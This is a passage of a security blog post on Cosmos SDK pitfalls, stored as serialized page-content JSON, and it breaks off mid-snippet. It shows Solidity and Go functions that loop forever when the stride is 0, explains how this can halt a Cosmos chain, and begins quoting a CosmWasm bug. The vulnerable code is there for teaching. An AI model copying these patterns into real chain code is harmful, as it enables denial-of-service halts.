projects.","2025-06-10","james",{"src":73763,"width":13,"height":13},"/posts/cosmos-security/title.png",[73765,73766],"cosmos-sdk","security",{"type":20,"children":73768,"toc":87630},[73769,73773,73778,73783,73789,73794,73799,73804,74065,74554,74573,74578,74583,74588,74594,74599,74634,74644,75151,75171,75184,75190,75195,75200,75441,75446,75454,75466,75828,75833,75838,75874,75883,76309,76330,76336,76356,76377,76396,76428,76440,76452,77106,77134,77143,77583,77610,77630,77635,77656,77705,77714,78946,78974,78980,78985,78990,79010,79297,79331,79512,79517,79522,79566,79575,80767,81018,81031,81037,81071,81076,81139,81144,81164,81183,81195,81214,81906,81911,81916,81944,81953,82838,82865,82871,82891,82896,82909,83083,83096,83187,83192,83200,83210,83360,83365,83385,83393,83398,83796,83808,83813,83854,83865,83885,84193,84198,85123,85135,85143,85148,86141,86146,86158,86178,86197,87111,87168,87274,87286,87291,87296,87324,87333,87559,87585,87598,87612,87616,87621,87626],{"type":23,"tag":41,"props":73770,"children":73771},{"id":27037},[73772],{"type":28,"value":27040},{"type":23,"tag":24,"props":73774,"children":73775},{},[73776],{"type":28,"value":73777},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":23,"tag":24,"props":73779,"children":73780},{},[73781],{"type":28,"value":73782},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":23,"tag":41,"props":73784,"children":73786},{"id":73785},"its-loopin-time",[73787],{"type":28,"value":73788},"It's Loopin' Time",{"type":23,"tag":24,"props":73790,"children":73791},{},[73792],{"type":28,"value":73793},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":23,"tag":24,"props":73795,"children":73796},{},[73797],{"type":28,"value":73798},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":23,"tag":24,"props":73800,"children":73801},{},[73802],{"type":28,"value":73803},"Here is a simple example for reference:",{"type":23,"tag":128,"props":73805,"children":73807},{"code":73806,"language":2475,"meta":7,"className":2476,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[73808],{"type":23,"tag":135,"props":73809,"children":73810},{"__ignoreMap":7},[73811,73827,73844,73860,73882,73911,73932,73956,73977,73984,74005,74022,74039,74046,74058],{"type":23,"tag":139,"props":73812,"children":73813},{"class":141,"line":142},[73814,73818,73823],{"type":23,"tag":139,"props":73815,"children":73816},{"style":279},[73817],{"type":28,"value":29264},{"type":23,"tag":139,"props":73819,"children":73820},{"style":245},[73821],{"type":28,"value":73822}," sumWithStride",{"type":23,"tag":139,"props":73824,"children":73825},{"style":259},[73826],{"type":28,"value":1443},{"type":23,"tag":139,"props":73828,"children":73829},{"class":141,"line":151},[73830,73835,73840],{"type":23,"tag":139,"props":73831,"children":73832},{"style":305},[73833],{"type":28,"value":73834},"    uint64",{"type":23,"tag":139,"props":73836,"children":73837},{"style":294},[73838],{"type":28,"value":73839}," start",{"type":23,"tag":139,"props":73841,"children":73842},{"style":259},[73843],{"type":28,"value":1488},{"type":23,"tag":139,"props":73845,"children":73846},{"class":141,"line":160},[73847,73851,73856],{"type":23,"tag":139,"props":73848,"children":73849},{"style":305},[73850],{"type":28,"value":73834},{"type":23,"tag":139,"props":73852,"children":73853},{"style":294},[73854],{"type":28,"value":73855}," stride",{"type":23,"tag":139,"props":73857,"children":73858},{"style":259},[73859],{"type":28,"value":1488},{"type":23,"tag":139,"props":73861,"children":73862},{"class":141,"line":169},[73863,73867,73872,73877],{"type":23,"tag":139,"props":73864,"children":73865},{"style":305},[73866],{"type":28,"value":73834},{"type":23,"tag":139,"props":73868,"children":73869},{"style":259},[73870],{"type":28,"value":73871},"[] ",{"type":23,"tag":139,"props":73873,"children":73874},{"style":279},[73875],{"type":28,"value":73876},"memory",{"type":23,"tag":139,"props":73878,"children":73879},{"style":294},[73880],{"type":28,"value":73881}," arr\n",{"type":23,"tag":139,"props":73883,"children":73884},{"class":141,"line":178},[73885,73889,73893,73898,73902,73907],{"type":23,"tag":139,"props":73886,"children":73887},{"style":259},[73888],{"type":28,"value":1062},{"type":23,"tag":139,"props":73890,"children":73891},{"style":279},[73892],{"type":28,"value":59575},{"type":23,"tag":139,"props":73894,"children":73895},{"style":319},[73896],{"type":28,"value":73897}," returns",{"type":23,"tag":139,"props":73899,"children":73900},{"style":259},[73901],{"type":28,"value":1042},{"type":23,"tag":139,"props":73903,"children":73904},{"style":305},[73905],{"type":28,"value":73906},"uint64",{"type":23,"tag":139,"props":73908,"children":73909},{"style":259},[73910],{"type":28,"value":12815},{"type":23,"tag":139,"props":73912,"children":73913},{"class":141,"line":187},[73914,73918,73923,73927],{"type":23,"tag":139,"props":73915,"children":73916},{"style":305},[73917],{"type":28,"value":73834},{"type":23,"tag":139,"props":73919,"children":73920},{"style":259},[73921],{"type":28,"value":73922}," idx ",{"type":23,"tag":139,"props":73924,"children":73925},{"style":982},[73926],{"type":28,"value":1067},{"type":23,"tag":139,"props":73928,"children":73929},{"style":259},[73930],{"type":28,"value":73931}," start;\n",{"type":23,"tag":139,"props":73933,"children":73934},{"class":141,"line":196},[73935,73939,73944,73948,73952],{"type":23,"tag":139,"props":73936,"children":73937},{"style":305},[73938],{"type":28,"value":73834},{"type":23,"tag":139,"props":73940,"children":73941},{"style":259},[73942],{"type":28,"value":73943}," sum ",{"type":23,"tag":139,"props":73945,"children":73946},{"style":982},[73947],{"type":28,"value":1067},{"type":23,"tag":139,"props":73949,"children":73950},{"style":1016},[73951],{"type":28,"value":1019},{"type":23,"tag":139,"props":73953,"children":73954},{"style":259},[73955],{"type":28,"value":995},{"type":23,"tag":139,"props":73957,"children":73958},{"class":141,"line":205},[73959,73963,73968,73972],{"type":23,"tag":139,"props":73960,"children":73961},{"style":305},[73962],{"type":28,"value":73834},{"type":23,"tag":139,"props":73964,"children":73965},{"style":259},[73966],{"type":28,"value":73967}," end ",{"type":23,"tag":139,"props":73969,"children":73970},{"style":982},[73971],{"type":28,"value":1067},{"type":23,"tag":139,"props":73973,"children":73974},{"style":259},[73975],{"type":28,"value":73976}," arr.length;\n",{"type":23,"tag":139,"props":73978,"children":73979},{"class":141,"line":214},[73980],{"type":23,"tag":139,"props":73981,"children":73982},{"emptyLinePlaceholder":15},[73983],{"type":28,"value":184},{"type":23,"tag":139,"props":73985,"children":73986},{"class":141,"line":1320},[73987,73991,73996,74000],{"type":23,"tag":139,"props":73988,"children":73989},{"style":319},[73990],{"type":28,"value":62274},{"type":23,"tag":139,"props":73992,"children":73993},{"style":259},[73994],{"type":28,"value":73995}," (idx ",{"type":23,"tag":139,"props":73997,"children":73998},{"style":982},[73999],{"type":28,"value":3808},{"type":23,"tag":139,"props":74001,"children":74002},{"style":259},[74003],{"type":28,"value":74004}," end) {\n",{"type":23,"tag":139,"props":74006,"children":74007},{"class":141,"line":1329},[74008,74013,74017],{"type":23,"tag":139,"props":74009,"children":74010},{"style":259},[74011],{"type":28,"value":74012},"        sum ",{"type":23,"tag":139,"props":74014,"children":74015},{"style":982},[74016],{"type":28,"value":66339},{"type":23,"tag":139,"props":74018,"children":74019},{"style":259},[74020],{"type":28,"value":74021}," arr[idx];\n",{"type":23,"tag":139,"props":74023,"children":74024},{"class":141,"line":1580},[74025,74030,74034],{"type":23,"tag":139,"props":74026,"children":74027},{"style":259},[74028],{"type":28,"value":74029},"        idx ",{"type":23,"tag":139,"props":74031,"children":74032},{"style":982},[74033],{"type":28,"value":66339},{"type":23,"tag":139,"props":74035,"children":74036},{"style":259},[74037],{"type":28,"value":74038}," stride;\n",{"type":23,"tag":139,"props":74040,"children":74041},{"class":141,"line":1597},[74042],{"type":23,"tag":139,"props":74043,"children":74044},{"style":259},[74045],{"type":28,"value":1335},{"type":23,"tag":139,"props":74047,"children":74048},{"class":141,"line":1614},[74049,74053],{"type":23,"tag":139,"props":74050,"children":74051},{"style":319},[74052],{"type":28,"value":322},{"type":23,"tag":139,"props":74054,"children":74055},{"style":259},[74056],{"type":28,"value":74057}," sum;\n",{"type":23,"tag":139,"props":74059,"children":74060},{"class":141,"line":1627},[74061],{"type":23,"tag":139,"props":74062,"children":74063},{"style":259},[74064],{"type":28,"value":1897},{"type":23,"tag":128,"props":74066,"children":74070},{"code":74067,"language":74068,"meta":7,"className":74069,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[74071],{"type":23,"tag":135,"props":74072,"children":74073},{"__ignoreMap":7},[74074,74094,74107,74119,74137,74144,74151,74171,74183,74190,74197,74232,74258,74279,74308,74338,74383,74460,74496,74503,74547],{"type":23,"tag":139,"props":74075,"children":74076},{"class":141,"line":142},[74077,74081,74086,74090],{"type":23,"tag":139,"props":74078,"children":74079},{"style":279},[74080],{"type":28,"value":30644},{"type":23,"tag":139,"props":74082,"children":74083},{"style":305},[74084],{"type":28,"value":74085}," MsgSumWithStrideParams",{"type":23,"tag":139,"props":74087,"children":74088},{"style":279},[74089],{"type":28,"value":19159},{"type":23,"tag":139,"props":74091,"children":74092},{"style":259},[74093],{"type":28,"value":1268},{"type":23,"tag":139,"props":74095,"children":74096},{"class":141,"line":151},[74097,74102],{"type":23,"tag":139,"props":74098,"children":74099},{"style":294},[74100],{"type":28,"value":74101},"    Start",{"type":23,"tag":139,"props":74103,"children":74104},{"style":305},[74105],{"type":28,"value":74106}," uint64\n",{"type":23,"tag":139,"props":74108,"children":74109},{"class":141,"line":160},[74110,74115],{"type":23,"tag":139,"props":74111,"children":74112},{"style":294},[74113],{"type":28,"value":74114},"    Stride",{"type":23,"tag":139,"props":74116,"children":74117},{"style":305},[74118],{"type":28,"value":74106},{"type":23,"tag":139,"props":74120,"children":74121},{"class":141,"line":169},[74122,74127,74132],{"type":23,"tag":139,"props":74123,"children":74124},{"style":294},[74125],{"type":28,"value":74126},"    Arr",{"type":23,"tag":139,"props":74128,"children":74129},{"style":259},[74130],{"type":28,"value":74131}," []",{"type":23,"tag":139,"props":74133,"children":74134},{"style":305},[74135],{"type":28,"value":74136},"uint64\n",{"type":23,"tag":139,"props":74138,"children":74139},{"class":141,"line":178},[74140],{"type":23,"tag":139,"props":74141,"children":74142},{"style":259},[74143],{"type":28,"value":1897},{"type":23,"tag":139,"props":74145,"children":74146},{"class":141,"line":187},[74147],{"type":23,"tag":139,"props":74148,"children":74149},{"emptyLinePlaceholder":15},[74150],{"type":28,"value":184},{"type":23,"tag":139,"props":74152,"children":74153},{"class":141,"line":196},[74154,74158,74163,74167],{"type":23,"tag":139,"props":74155,"children":74156},{"style":279},[74157],{"type":28,"value":30644},{"type":23,"tag":139,"props":74159,"children":74160},{"style":305},[74161],{"type":28,"value":74162}," MsgSumWithStrideResponse",{"type":23,"tag":139,"props":74164,"children":74165},{"style":279},[74166],{"type":28,"value":19159},{"type":23,"tag":139,"props":74168,"children":74169},{"style":259},[74170],{"type":28,"value":1268},{"type":23,"tag":139,"props":74172,"children":74173},{"class":141,"line":205},[74174,74179],{"type":23,"tag":139,"props":74175,"children":74176},{"style":294},[74177],{"type":28,"value":74178},"    Sum",{"type":23,"tag":139,"props":74180,"children":74181},{"style":305},[74182],{"type":28,"value":74106},{"type":23,"tag":139,"props":74184,"children":74185},{"class":141,"line":214},[74186],{"type":23,"tag":139,"props":74187,"children":74188},{"style":259},[74189],{"type":28,"value":1897},{"type":23,"tag":139,"props":74191,"children":74192},{"class":141,"line":1320},[74193],{"type":23,"tag":139,"props":74194,"children":74195},{"emptyLinePlaceholder":15},[74196],{"type":28,"value":184},{"type":23,"tag":139,"props":74198,"children":74199},{"class":141,"line":1329},[74200,74205,74209,74214,74219,74223,74228],{"type":23,"tag":139,"props":74201,"children":74202},{"style":279},[74203],{"type":28,"value":74204},"func",{"type":23,"tag":139,"props":74206,"children":74207},{"style":259},[74208],{"type":28,"value":1042},{"type":23,"tag":139,"props":74210,"children":74211},{"style":294},[74212],{"type":28,"value":74213},"ms ",{"type":23,"tag":139,"props":74215,"children":74216},{"style":305},[74217],{"type":28,"value":74218},"msgServer",{"type":23,"tag":139,"props":74220,"children":74221},{"style":259},[74222],{"type":28,"value":1062},{"type":23,"tag":139,"props":74224,"children":74225},{"style":245},[74226],{"type":28,"value":74227},"SumWithStride",{"type":23,"tag":139,"props":74229,"children":74230},{"style":259},[74231],{"type":28,"value":1443},{"type":23,"tag":139,"props":74233,"children":74234},{"class":141,"line":1580},[74235,74240,74245,74249,74254],{"type":23,"tag":139,"props":74236,"children":74237},{"style":294},[74238],{"type":28,"value":74239},"    goCtx",{"type":23,"tag":139,"props":74241,"children":74242},{"style":305},[74243],{"type":28,"value":74244}," context",{"type":23,"tag":139,"props":74246,"children":74247},{"style":259},[74248],{"type":28,"value":73},{"type":23,"tag":139,"props":74250,"children":74251},{"style":305},[74252],{"type":28,"value":74253},"Context",{"type":23,"tag":139,"props":74255,"children":74256},{"style":259},[74257],{"type":28,"value":1488},{"type":23,"tag":139,"props":74259,"children":74260},{"class":141,"line":1597},[74261,74266,74270,74275],{"type":23,"tag":139,"props":74262,"children":74263},{"style":294},[74264],{"type":28,"value":74265},"    msg",{"type":23,"tag":139,"props":74267,"children":74268},{"style":982},[74269],{"type":28,"value":7825},{"type":23,"tag":139,"props":74271,"children":74272},{"style":305},[74273],{"type":28,"value":74274},"MsgSumWithStrideParams",{"type":23,"tag":139,"props":74276,"children":74277},{"style":259},[74278],{"type":28,"value":1488},{"type":23,"tag":139,"props":74280,"children":74281},{"class":141,"line":1614},[74282,74287,74291,74296,74300,74304],{"type":23,"tag":139,"props":74283,"children":74284},{"style":259},[74285],{"type":28,"value":74286},") (",{"type":23,"tag":139,"props":74288,"children":74289},{"style":982},[74290],{"type":28,"value":2573},{"type":23,"tag":139,"props":74292,"children":74293},{"style":305},[74294],{"type":28,"value":74295},"MsgSumWithStrideResponse",{"type":23,"tag":139,"props":74297,"children":74298},{"style":259},[74299],{"type":28,"value":1052},{"type":23,"tag":139,"props":74301,"children":74302},{"style":305},[74303],{"type":28,"value":12875},{"type":23,"tag":139,"props":74305,"children":74306},{"style":259},[74307],{"type":28,"value":12815},{"type":23,"tag":139,"props":74309,"children":74310},{"class":141,"line":1627},[74311,74316,74321,74326,74330,74334],{"type":23,"tag":139,"props":74312,"children":74313},{"style":294},[74314],{"type":28,"value":74315},"    sum",{"type":23,"tag":139,"props":74317,"children":74318},{"style":982},[74319],{"type":28,"value":74320}," :=",{"type":23,"tag":139,"props":74322,"children":74323},{"style":305},[74324],{"type":28,"value":74325}," uint64",{"type":23,"tag":139,"props":74327,"children":74328},{"style":259},[74329],{"type":28,"value":262},{"type":23,"tag":139,"props":74331,"children":74332},{"style":1016},[74333],{"type":28,"value":2021},{"type":23,"tag":139,"props":74335,"children":74336},{"style":259},[74337],{"type":28,"value":273},{"type":23,"tag":139,"props":74339,"children":74340},{"class":141,"line":1636},[74341,74346,74350,74354,74358,74362,74366,74370,74374,74379],{"type":23,"tag":139,"props":74342,"children":74343},{"style":294},[74344],{"type":28,"value":74345},"    end",{"type":23,"tag":139,"props":74347,"children":74348},{"style":982},[74349],{"type":28,"value":74320},{"type":23,"tag":139,"props":74351,"children":74352},{"style":305},[74353],{"type":28,"value":74325},{"type":23,"tag":139,"props":74355,"children":74356},{"style":259},[74357],{"type":28,"value":262},{"type":23,"tag":139,"props":74359,"children":74360},{"style":245},[74361],{"type":28,"value":7146},{"type":23,"tag":139,"props":74363,"children":74364},{"style":259},[74365],{"type":28,"value":262},{"type":23,"tag":139,"props":74367,"children":74368},{"style":294},[74369],{"type":28,"value":55845},{"type":23,"tag":139,"props":74371,"children":74372},{"style":259},[74373],{"type":28,"value":73},{"type":23,"tag":139,"props":74375,"children":74376},{"style":294},[74377],{"type":28,"value":74378},"Arr",{"type":23,"tag":139,"props":74380,"children":74381},{"style":259},[74382],{"type":28,"value":17719},{"type":23,"tag":139,"props":74384,"children":74385},{"class":141,"line":1659},[74386,74390,74395,74399,74404,74408,74413,74417,74422,74426,74431,74435,74439,74443,74447,74451,74456],{"type":23,"tag":139,"props":74387,"children":74388},{"style":319},[74389],{"type":28,"value":1003},{"type":23,"tag":139,"props":74391,"children":74392},{"style":294},[74393],{"type":28,"value":74394}," idx",{"type":23,"tag":139,"props":74396,"children":74397},{"style":982},[74398],{"type":28,"value":74320},{"type":23,"tag":139,"props":74400,"children":74401},{"style":294},[74402],{"type":28,"value":74403}," msg",{"type":23,"tag":139,"props":74405,"children":74406},{"style":259},[74407],{"type":28,"value":73},{"type":23,"tag":139,"props":74409,"children":74410},{"style":294},[74411],{"type":28,"value":74412},"Start",{"type":23,"tag":139,"props":74414,"children":74415},{"style":259},[74416],{"type":28,"value":15239},{"type":23,"tag":139,"props":74418,"children":74419},{"style":294},[74420],{"type":28,"value":74421},"idx",{"type":23,"tag":139,"props":74423,"children":74424},{"style":982},[74425],{"type":28,"value":6724},{"type":23,"tag":139,"props":74427,"children":74428},{"style":294},[74429],{"type":28,"value":74430}," end",{"type":23,"tag":139,"props":74432,"children":74433},{"style":259},[74434],{"type":28,"value":15239},{"type":23,"tag":139,"props":74436,"children":74437},{"style":294},[74438],{"type":28,"value":74421},{"type":23,"tag":139,"props":74440,"children":74441},{"style":982},[74442],{"type":28,"value":13076},{"type":23,"tag":139,"props":74444,"children":74445},{"style":294},[74446],{"type":28,"value":74403},{"type":23,"tag":139,"props":74448,"children":74449},{"style":259},[74450],{"type":28,"value":73},{"type":23,"tag":139,"props":74452,"children":74453},{"style":294},[74454],{"type":28,"value":74455},"Stride",{"type":23,"tag":139,"props":74457,"children":74458},{"style":259},[74459],{"type":28,"value":1268},{"type":23,"tag":139,"props":74461,"children":74462},{"class":141,"line":1667},[74463,74468,74472,74476,74480,74484,74488,74492],{"type":23,"tag":139,"props":74464,"children":74465},{"style":294},[74466],{"type":28,"value":74467},"        sum",{"type":23,"tag":139,"props":74469,"children":74470},{"style":982},[74471],{"type":28,"value":13076},{"type":23,"tag":139,"props":74473,"children":74474},{"style":294},[74475],{"type":28,"value":74403},{"type":23,"tag":139,"props":74477,"children":74478},{"style":259},[74479],{"type":28,"value":73},{"type":23,"tag":139,"props":74481,"children":74482},{"style":294},[74483],{"type":28,"value":74378},{"type":23,"tag":139,"props":74485,"children":74486},{"style":259},[74487],{"type":28,"value":1723},{"type":23,"tag":139,"props":74489,"children":74490},{"style":294},[74491],{"type":28,"value":74421},{"type":23,"tag":139,"props":74493,"children":74494},{"style":259},[74495],{"type":28,"value":9783},{"type":23,"tag":139,"props":74497,"children":74498},{"class":141,"line":1676},[74499],{"type":23,"tag":139,"props":74500,"children":74501},{"style":259},[74502],{"type":28,"value":1335},{"type":23,"tag":139,"props":74504,"children":74505},{"class":141,"line":1745},[74506,74510,74514,74518,74523,74528,74532,74537,74542],{"type":23,"tag":139,"props":74507,"children":74508},{"style":319},[74509],{"type":28,"value":322},{"type":23,"tag":139,"props":74511,"children":74512},{"style":982},[74513],{"type":28,"value":5144},{"type":23,"tag":139,"props":74515,"children":74516},{"style":305},[74517],{"type":28,"value":74295},{"type":23,"tag":139,"props":74519,"children":74520},{"style":259},[74521],{"type":28,"value":74522},"{",{"type":23,"tag":139,"props":74524,"children":74525},{"style":294},[74526],{"type":28,"value":74527},"Sum",{"type":23,"tag":139,"props":74529,"children":74530},{"style":259},[74531],{"type":28,"value":13343},{"type":23,"tag":139,"props":74533,"children":74534},{"style":294},[74535],{"type":28,"value":74536},"sum",{"type":23,"tag":139,"props":74538,"children":74539},{"style":259},[74540],{"type":28,"value":74541},"}, ",{"type":23,"tag":139,"props":74543,"children":74544},{"style":279},[74545],{"type":28,"value":74546},"nil\n",{"type":23,"tag":139,"props":74548,"children":74549},{"class":141,"line":1753},[74550],{"type":23,"tag":139,"props":74551,"children":74552},{"style":259},[74553],{"type":28,"value":1897},{"type":23,"tag":24,"props":74555,"children":74556},{},[74557,74559,74564,74565,74571],{"type":28,"value":74558},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":23,"tag":135,"props":74560,"children":74562},{"className":74561},[],[74563],{"type":28,"value":74421},{"type":28,"value":5317},{"type":23,"tag":135,"props":74566,"children":74568},{"className":74567},[],[74569],{"type":28,"value":74570},"stride",{"type":28,"value":74572},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":23,"tag":24,"props":74574,"children":74575},{},[74576],{"type":28,"value":74577},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":23,"tag":24,"props":74579,"children":74580},{},[74581],{"type":28,"value":74582},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":23,"tag":24,"props":74584,"children":74585},{},[74586],{"type":28,"value":74587},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":23,"tag":666,"props":74589,"children":74591},{"id":74590},"real-world-examples",[74592],{"type":28,"value":74593},"Real-World Examples",{"type":23,"tag":24,"props":74595,"children":74596},{},[74597],{"type":28,"value":74598},"Now, let's examine a few real-world instances.",{"type":23,"tag":24,"props":74600,"children":74601},{},[74602,74604,74610,74611,74617,74619,74625,74627,74633],{"type":28,"value":74603},"In the case of ",{"type":23,"tag":64,"props":74605,"children":74608},{"href":74606,"rel":74607},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[68],[74609],{"type":28,"value":15706},{"type":28,"value":471},{"type":23,"tag":135,"props":74612,"children":74614},{"className":74613},[],[74615],{"type":28,"value":74616},"CosmWasm",{"type":28,"value":74618}," bug, the helper method ",{"type":23,"tag":135,"props":74620,"children":74622},{"className":74621},[],[74623],{"type":28,"value":74624},"write_to_contract",{"type":28,"value":74626}," negligently calls the untrusted Wasm function ",{"type":23,"tag":135,"props":74628,"children":74630},{"className":74629},[],[74631],{"type":28,"value":74632},"\"allocate\"",{"type":28,"value":73},{"type":23,"tag":24,"props":74635,"children":74636},{},[74637],{"type":23,"tag":64,"props":74638,"children":74641},{"href":74639,"rel":74640},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[68],[74642],{"type":28,"value":74643},"Permalink for snippet",{"type":23,"tag":128,"props":74645,"children":74647},{"code":74646,"language":947,"meta":7,"className":948,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[74648],{"type":23,"tag":135,"props":74649,"children":74650},{"__ignoreMap":7},[74651,74720,74768,74796,74825,74874,74948,74993,75016,75061,75068,75125,75144],{"type":23,"tag":139,"props":74652,"children":74653},{"class":141,"line":142},[74654,74658,74663,74667,74672,74676,74681,74685,74689,74693,74698,74702,74707,74711,74716],{"type":23,"tag":139,"props":74655,"children":74656},{"style":279},[74657],{"type":28,"value":18274},{"type":23,"tag":139,"props":74659,"children":74660},{"style":245},[74661],{"type":28,"value":74662}," write_to_contract",{"type":23,"tag":139,"props":74664,"children":74665},{"style":259},[74666],{"type":28,"value":3808},{"type":23,"tag":139,"props":74668,"children":74669},{"style":305},[74670],{"type":28,"value":74671},"A",{"type":23,"tag":139,"props":74673,"children":74674},{"style":982},[74675],{"type":28,"value":2493},{"type":23,"tag":139,"props":74677,"children":74678},{"style":305},[74679],{"type":28,"value":74680}," BackendApi",{"type":23,"tag":139,"props":74682,"children":74683},{"style":259},[74684],{"type":28,"value":1052},{"type":23,"tag":139,"props":74686,"children":74687},{"style":305},[74688],{"type":28,"value":20058},{"type":23,"tag":139,"props":74690,"children":74691},{"style":982},[74692],{"type":28,"value":2493},{"type":23,"tag":139,"props":74694,"children":74695},{"style":305},[74696],{"type":28,"value":74697}," Storage",{"type":23,"tag":139,"props":74699,"children":74700},{"style":259},[74701],{"type":28,"value":1052},{"type":23,"tag":139,"props":74703,"children":74704},{"style":305},[74705],{"type":28,"value":74706},"Q",{"type":23,"tag":139,"props":74708,"children":74709},{"style":982},[74710],{"type":28,"value":2493},{"type":23,"tag":139,"props":74712,"children":74713},{"style":305},[74714],{"type":28,"value":74715}," Querier",{"type":23,"tag":139,"props":74717,"children":74718},{"style":259},[74719],{"type":28,"value":4591},{"type":23,"tag":139,"props":74721,"children":74722},{"class":141,"line":151},[74723,74727,74731,74735,74740,74744,74748,74752,74756,74760,74764],{"type":23,"tag":139,"props":74724,"children":74725},{"style":294},[74726],{"type":28,"value":1837},{"type":23,"tag":139,"props":74728,"children":74729},{"style":982},[74730],{"type":28,"value":2493},{"type":23,"tag":139,"props":74732,"children":74733},{"style":982},[74734],{"type":28,"value":5144},{"type":23,"tag":139,"props":74736,"children":74737},{"style":305},[74738],{"type":28,"value":74739},"Environment",{"type":23,"tag":139,"props":74741,"children":74742},{"style":259},[74743],{"type":28,"value":3808},{"type":23,"tag":139,"props":74745,"children":74746},{"style":305},[74747],{"type":28,"value":74671},{"type":23,"tag":139,"props":74749,"children":74750},{"style":259},[74751],{"type":28,"value":1052},{"type":23,"tag":139,"props":74753,"children":74754},{"style":305},[74755],{"type":28,"value":20058},{"type":23,"tag":139,"props":74757,"children":74758},{"style":259},[74759],{"type":28,"value":1052},{"type":23,"tag":139,"props":74761,"children":74762},{"style":305},[74763],{"type":28,"value":74706},{"type":23,"tag":139,"props":74765,"children":74766},{"style":259},[74767],{"type":28,"value":4141},{"type":23,"tag":139,"props":74769,"children":74770},{"class":141,"line":160},[74771,74776,74780,74784,74788,74792],{"type":23,"tag":139,"props":74772,"children":74773},{"style":294},[74774],{"type":28,"value":74775},"    input",{"type":23,"tag":139,"props":74777,"children":74778},{"style":982},[74779],{"type":28,"value":2493},{"type":23,"tag":139,"props":74781,"children":74782},{"style":982},[74783],{"type":28,"value":5144},{"type":23,"tag":139,"props":74785,"children":74786},{"style":259},[74787],{"type":28,"value":1723},{"type":23,"tag":139,"props":74789,"children":74790},{"style":305},[74791],{"type":28,"value":1401},{"type":23,"tag":139,"props":74793,"children":74794},{"style":259},[74795],{"type":28,"value":12274},{"type":23,"tag":139,"props":74797,"children":74798},{"class":141,"line":169},[74799,74803,74807,74812,74816,74821],{"type":23,"tag":139,"props":74800,"children":74801},{"style":259},[74802],{"type":28,"value":1062},{"type":23,"tag":139,"props":74804,"children":74805},{"style":982},[74806],{"type":28,"value":11768},{"type":23,"tag":139,"props":74808,"children":74809},{"style":305},[74810],{"type":28,"value":74811}," VmResult",{"type":23,"tag":139,"props":74813,"children":74814},{"style":259},[74815],{"type":28,"value":3808},{"type":23,"tag":139,"props":74817,"children":74818},{"style":305},[74819],{"type":28,"value":74820},"u32",{"type":23,"tag":139,"props":74822,"children":74823},{"style":259},[74824],{"type":28,"value":5284},{"type":23,"tag":139,"props":74826,"children":74827},{"class":141,"line":178},[74828,74832,74837,74841,74846,74850,74854,74858,74862,74866,74870],{"type":23,"tag":139,"props":74829,"children":74830},{"style":279},[74831],{"type":28,"value":969},{"type":23,"tag":139,"props":74833,"children":74834},{"style":294},[74835],{"type":28,"value":74836}," out_size",{"type":23,"tag":139,"props":74838,"children":74839},{"style":982},[74840],{"type":28,"value":985},{"type":23,"tag":139,"props":74842,"children":74843},{"style":245},[74844],{"type":28,"value":74845}," 